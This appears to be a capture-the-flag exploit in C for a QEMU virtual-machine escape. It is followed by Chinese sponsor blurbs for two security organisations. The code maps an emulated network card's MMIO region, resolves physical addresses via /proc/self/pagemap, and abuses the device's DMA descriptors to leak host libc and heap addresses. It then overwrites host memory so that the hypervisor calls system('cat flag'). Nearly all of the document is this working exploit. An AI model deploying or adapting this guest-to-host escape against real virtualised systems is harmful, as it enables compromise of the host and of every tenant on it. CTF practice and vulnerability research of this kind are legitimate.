#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
unsigned char* mmio_mem;
char buf[0x10000],rxbuf[0x1000];
 
uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;
     
    
 
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);
      
    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");
    
      
 
    phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
    return phys;
}
  
void die(const char* msg)
{
    perror(msg);
    exit(-1);
}
 
void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}
 
uint64_t mmio_read(uint32_t addr)
{
    return *((uint64_t*)(mmio_mem + addr));
}
 
int main()
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
 
mmio_mem = mmap(0, 0x20000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
 
 
char *dmabuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");
    mlock(dmabuf, 0x1000);

uint64_t dmabuf_phys_addr=virt2phys(buf);
char * rxbuf_phys_addr=virt2phys(rxbuf);
char * dmabuf_phys_addr1=dmabuf_phys_addr;
char *dmabuf_phys_addrz = virt2phys(dmabuf);

mmio_write(0x20,0x4204140);

uint32_t phys_addrh=(uint32_t)(dmabuf_phys_addr>>32);
uint32_t phys_addrl=(uint32_t)(dmabuf_phys_addr&0xffffffff);
mmio_write(0x3804,phys_addrh);
mmio_write(0x3800,phys_addrl);

mmio_write(0x2800,rxbuf_phys_addr);
mmio_write(0x2810,0);
 
uint64_t *buf1=buf;
uint64_t *rxbuf1=rxbuf;
 
memset(rxbuf,'a',0x1000);

for(int i=0;i<33;i++){
rxbuf1[2*i+0]=dmabuf_phys_addrz;
rxbuf1[2*i+1]=0xfff0182420ffff;
}

buf[8]=0xff;
buf[9]=0xff;

buf[10]=0x20;
buf[11]=0x24;

buf[0xd]=0x18;
buf[0xe]=0xf0;
buf[0xf]=0xff;

buf[0x18]=0xf0;
buf[0x19]=0xff;

buf[0x1b]=0x24;
buf[0x1a]=0x10;

buf1[2]=dmabuf_phys_addr1+0x30;

buf[0x28]=0xff;
buf[0x29]=0xff;

buf[0x2b]=0x25;
buf[0x2a]=0x10;

 
buf1[4]=rxbuf_phys_addr+0x100;
memset(buf+0x30,0x0,0x10000);

rxbuf[0x110]=0xf0;
rxbuf[0x111]=0x03;
rxbuf[0x112]=0x01;
rxbuf[0x113]=0x00;
rxbuf[0x114]=0x05;
rxbuf[0x115]=0x06;
rxbuf[0x116]=0x07;
rxbuf[0x117]=0x08;
 

mmio_write(0x3810,0);
mmio_write(0x3818,0x3);
 

uint64_t *tmp=dmabuf+4;
uint64_t base=tmp[29]-0x315920;

uint64_t s_base=tmp[18];

uint64_t system=base+0x2b1920;
printf("%llx\n",base);
printf("%llx\n",s_base);

rxbuf1[44]=s_base+0x22bc0+0x100;
 
uint64_t flag_addr=s_base+0x22bc0+0x300;
memset(buf+0x30,'a',0x100);
memcpy(buf+0x330,"cat flag\x0",9);

tmp=buf+0x130;

tmp[1]=s_base+0x22bc0+0x200;

tmp=buf+0x230;

buf[0x260]=1;

tmp[0]=s_base+0x22bc0+0x280;

tmp[8]=0;

tmp[10]=system;

tmp[11]=flag_addr;

buf[0xd]=0xf8;

mmio_write(0x20,0x4201140);

mmio_write(0x3810,0);
mmio_write(0x3818,0x3);
    return 0;
}

【上海第五空间信息科技研究院】（简称：第五空间）是经上海市社会组织管理局批准成立，上海市科协作为业务主管部门的新型研发机构，由翼盾智能科技创始人积聚社会力量发起成立，立足科技事业，支撑国家战略，开展科技研究，推进协同创新。

【杭州安恒信息技术股份有限公司】（简称：安恒信息）成立于2007年，科创板股票代码：688023，一直专注于网络信息安全领域，公司主营业务为网络信息安全产品的研发、生产及销售，并为客户提供专业的网络信息安全服务。公司的产品及服务涉及应用安全、大数据安全、云安全、物联网安全、工业控制安全及工业互联网安全等领域。